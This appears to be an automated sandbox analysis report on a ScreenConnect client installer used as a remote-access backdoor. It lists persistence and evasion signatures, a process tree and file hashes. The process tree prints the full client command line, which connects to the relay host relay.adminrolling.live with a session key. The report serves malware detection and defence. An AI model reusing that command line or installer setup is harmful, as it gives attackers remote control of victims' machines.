Analysis

  • max time kernel
    148s
  • max time network
    105s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    10/09/2026, 18:22

General

  • Target
    ScreenConnect.ClientSetup.msi
  • Size 14.6MB
  • Sample260910-wz4fbaeb63
  • SHA256 63b8c28736a5e5d39700333345dac2423bde079271369838669c78c1b7f19a1c
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 2 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 17 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:4192
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5696
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 6E80268B0CBF92212E4360B36B675396 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1160
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI40F7.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240730734 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:1776
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:2636
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 4B9C1D86F300404A9EF6BF8257480DD1
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:1624
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding C7515272456CBD25970572A9F383DCC4 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:2428
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:4364
    • C:\Program Files (x86)\ScreenConnect Client (92f2054707c68b49)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (92f2054707c68b49)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=relay.adminrolling.live&p=8041&s=cbcb06e6-455d-417b-8767-ace4aec2a4c0&k=BgIAAACkAABSU0ExAAgAAAEAAQCtMU%2f34BnlOc0sRthSPseTHJJzKArXF8%2fjWrDYBUA86C9%2bduegtjcdKeDRuAWxgnXvXLYiQXm6OETvLhtlDkIECi2NvspTs1HnsG3Kf8mXcKTEJtAKQrJqiROhr4mhp9I0GzQ%2fbnFo28dE0nhI3GtUgY4lJovLOinaZ017rIZQnVtMyqa7%2f0K7Y7gJ4EBjAiDc%2bagDkYlc4wimO%2fR1Ecexk26XISA2MX5mnPbyqQaTKHfLIfkqkY20KB6mO%2bM9QIcahCNuyXaPH9jC1QZ6SbjfsyC9F9PXzG91LGjnmpxHhsQMLcszITCLq8nFECO4zHniQfyd0Fb3usRc0%2foAqKK7&c=GOODVIBE&c=&c=&c=&c=&c=&c=&c="
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:700
      • C:\Program Files (x86)\ScreenConnect Client (92f2054707c68b49)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (92f2054707c68b49)\ScreenConnect.WindowsClient.exe" "RunRole" "fa49b100-c6d6-413a-9810-697bec1b8917" "User"
        2⤵
        • Executes dropped EXE
        PID:4380
      • C:\Program Files (x86)\ScreenConnect Client (92f2054707c68b49)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (92f2054707c68b49)\ScreenConnect.WindowsClient.exe" "RunRole" "192764e8-2616-4bde-b0ee-17d23e29f59b" "System"
        2⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:2320
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k GPSvcGroup
      1⤵
        PID:3412

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            e59a698.rbs

            • Path C:\Config.Msi\e59a698.rbs
            • Size 214KB
            • SHA256 2894259ac35298ee3ab2cc648ea1b6a883f8ae1748d35885bee691b4fdbde3d8
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Client.Override.en-US.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (92f2054707c68b49)\Client.Override.en-US.resources
            • Size 426B
            • SHA256 4ae57b70477e37c79d72250169496b375be3b50cacfc2d823ef75f051ad710d4
            • MD5 SHA1 SHA512 TLSH

            Client.Override.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (92f2054707c68b49)\Client.Override.resources
            • Size 26KB
            • SHA256 1212bae82fbe031d9256610dedc91c990a1f888a73e1a97166a40810f28101d0
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Client.en-US.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (92f2054707c68b49)\Client.en-US.resources
            • Size 49KB
            • SHA256 b26b7a988aba7f94473468cae82846bb672a422b016ed1907d187a5c3bb0f8a0
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Client.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (92f2054707c68b49)\Client.resources
            • Size 33KB
            • SHA256 e0d0e5d951ef955f22d110b65b3fedfb8b1710491563d7c541f5e3d9fd4ccee8
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Client.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (92f2054707c68b49)\ScreenConnect.Client.dll
            • Size 202KB
            • SHA256 ea1ba32647cf18942e5d26e4d80ade8d25db7984555f55c378c9ad0d33c11271
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.ClientService.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (92f2054707c68b49)\ScreenConnect.ClientService.dll
            • Size 77KB
            • SHA256 84d0a414d03ab35f65cb149229ac2a64cde9b20f3cb2aba9099c71510a749fe4
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.ClientService.exe

            • Path C:\Program Files (x86)\ScreenConnect Client (92f2054707c68b49)\ScreenConnect.ClientService.exe
            • Size 93KB
            • SHA256 46457d98fb1c53bbccb66c1015eb831355f30c8bf8e6f25cf3183aac2a5fd8ab
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Core.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (92f2054707c68b49)\ScreenConnect.Core.dll
            • Size 549KB
            • SHA256 6928d272bdcfb0a1739d4ffee9a1a6e230880a3ce954233a83fdc70024c1e7ad
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Windows.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (92f2054707c68b49)\ScreenConnect.Windows.dll
            • Size 1.7MB
            • SHA256 fb81fc9354d12d15f125492c74f766bb538ddc1f9748735b0bdfbf6e945175c6
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsAuthenticationPackage.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (92f2054707c68b49)\ScreenConnect.WindowsAuthenticationPackage.dll
            • Size 254KB
            • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsClient.exe

            • Path C:\Program Files (x86)\ScreenConnect Client (92f2054707c68b49)\ScreenConnect.WindowsClient.exe
            • Size 595KB
            • SHA256 3b150443fbb196446479367dc44888488045ae8eef9b872406656cf33ace2556
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsClient.exe.config

            • Path C:\Program Files (x86)\ScreenConnect Client (92f2054707c68b49)\ScreenConnect.WindowsClient.exe.config
            • Size 266B
            • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
            • MD5 SHA1 SHA512 TLSH

            ScreenConnect.WindowsCredentialProvider.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (92f2054707c68b49)\ScreenConnect.WindowsCredentialProvider.dll
            • Size 838KB
            • SHA256 c36e1b629985cf5379733de9c2d645446cb3333f8660bf137a46fb227ef170e4
            • MD5 SHA1 SHA512 SSDEEP TLSH

            app.config

            • Path C:\Program Files (x86)\ScreenConnect Client (92f2054707c68b49)\app.config
            • Size 1KB
            • SHA256 a99981c880c0a810004f54dbc9a6330e54847f23c41c11e1126111df43bfcf07
            • MD5 SHA1 SHA512 TLSH

            system.config

            • Path C:\Program Files (x86)\ScreenConnect Client (92f2054707c68b49)\system.config
            • Size 947B
            • SHA256 eda11e77957291eef65585cb4df91bc1579bb19d687318fef8112a5ab07021bb
            • MD5 SHA1 SHA512 TLSH

            MSI40F7.tmp

            • Path C:\Users\Admin\AppData\Local\Temp\MSI40F7.tmp
            • Size 1.0MB
            • SHA256 9571cbea87aa83be41b2e63a5cd62498da91793c4fa1fc38baa07a73b1c2d02c
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Microsoft.Deployment.WindowsInstaller.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSI40F7.tmp-\Microsoft.Deployment.WindowsInstaller.dll
            • Size 172KB
            • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Core.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSI40F7.tmp-\ScreenConnect.Core.dll
            • Size 539KB
            • SHA256 613af5bfae8fb43f24c223c3aef411f532eaaf223f9f09a1dad0a4f16fb3672b
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.InstallerActions.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSI40F7.tmp-\ScreenConnect.InstallerActions.dll
            • Size 11KB
            • SHA256 404b02b47b8f6fe72dd5957694810dddd3d760f530b90aade0eece30fe1950e4
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Windows.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSI40F7.tmp-\ScreenConnect.Windows.dll
            • Size 1.6MB
            • SHA256 0b87dd18e02ce7c363ebe016d81ebfab230230f9821554015c0a3505bf021d6f
            • MD5 SHA1 SHA512 SSDEEP TLSH

            MSIAEE5.tmp

            • Path C:\Windows\Installer\MSIAEE5.tmp
            • Size 202KB
            • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
            • MD5 SHA1 SHA512 SSDEEP TLSH

            e59a697.msi

            • Path C:\Windows\Installer\e59a697.msi
            • Size 14.6MB
            • SHA256 63b8c28736a5e5d39700333345dac2423bde079271369838669c78c1b7f19a1c
            • MD5 SHA1 SHA512 SSDEEP TLSH

            metadata-2

            • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
            • Size 26.1MB
            • SHA256 492926b7df757276e28869f47acde6fde3af93e4bbed7994b60213b0ef68348a
            • MD5 SHA1 SHA512 SSDEEP TLSH

            {0dd63d10-aa09-4523-9d10-a5ad13751348}_OnDiskSnapshotProp

            • Path \??\Volume{cba08e50-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{0dd63d10-aa09-4523-9d10-a5ad13751348}_OnDiskSnapshotProp
            • Size 6KB
            • SHA256 bf8f22308655a976ba05f66b9d69bd1df415ef01a50c13579f311cfd8d14efd2
            • MD5 SHA1 SHA512 SSDEEP TLSH

            memory/700-85-0x0000000003F20000-0x00000000040CC000-memory.dmp

            memory/700-75-0x00000000016D0000-0x00000000016E8000-memory.dmp

            memory/700-104-0x0000000004170000-0x0000000004202000-memory.dmp

            memory/700-106-0x0000000003EB0000-0x0000000003EF1000-memory.dmp

            memory/700-103-0x0000000003E70000-0x0000000003EA6000-memory.dmp

            memory/700-99-0x0000000003E20000-0x0000000003E70000-memory.dmp

            memory/700-81-0x0000000003CE0000-0x0000000003D6E000-memory.dmp

            memory/700-108-0x0000000004360000-0x0000000004435000-memory.dmp

            memory/1776-22-0x00000000060D0000-0x00000000060DA000-memory.dmp

            memory/1776-18-0x0000000006090000-0x00000000060BE000-memory.dmp

            memory/1776-26-0x00000000061A0000-0x000000000622E000-memory.dmp

            memory/1776-30-0x00000000063E0000-0x000000000658C000-memory.dmp

            memory/1776-31-0x0000000006B50000-0x000000000710A000-memory.dmp

            memory/4380-118-0x0000000000E20000-0x0000000000EB8000-memory.dmp

            memory/4380-121-0x000000001C0C0000-0x000000001C26C000-memory.dmp

            memory/4380-122-0x000000001C270000-0x000000001C3F8000-memory.dmp

            memory/4380-124-0x0000000002F10000-0x0000000002F28000-memory.dmp

            memory/4380-125-0x00000000031B0000-0x00000000031F1000-memory.dmp

            memory/4380-123-0x0000000002ED0000-0x0000000002EE8000-memory.dmp

            memory/4380-120-0x000000001BE80000-0x000000001BF0E000-memory.dmp

            memory/4380-119-0x0000000002F40000-0x0000000002F76000-memory.dmp